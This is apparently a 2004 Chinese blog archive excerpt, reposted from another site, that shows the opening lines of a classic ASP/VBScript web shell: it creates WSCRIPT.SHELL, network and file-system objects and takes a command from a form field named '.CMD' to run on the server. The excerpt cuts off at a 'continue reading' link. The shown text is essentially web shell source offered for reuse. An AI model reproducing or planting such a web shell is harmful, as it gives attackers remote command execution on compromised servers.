日归档：2004 九月-14

转自<九州[特络纳]> <%@ Language=VBScript %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.createObject("WSCRIPT.SHELL") Set oScriptNet=Server.createObject("WSCRIPT.NETWORK") Set oFileSys = Server.createObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" … 继续阅读 →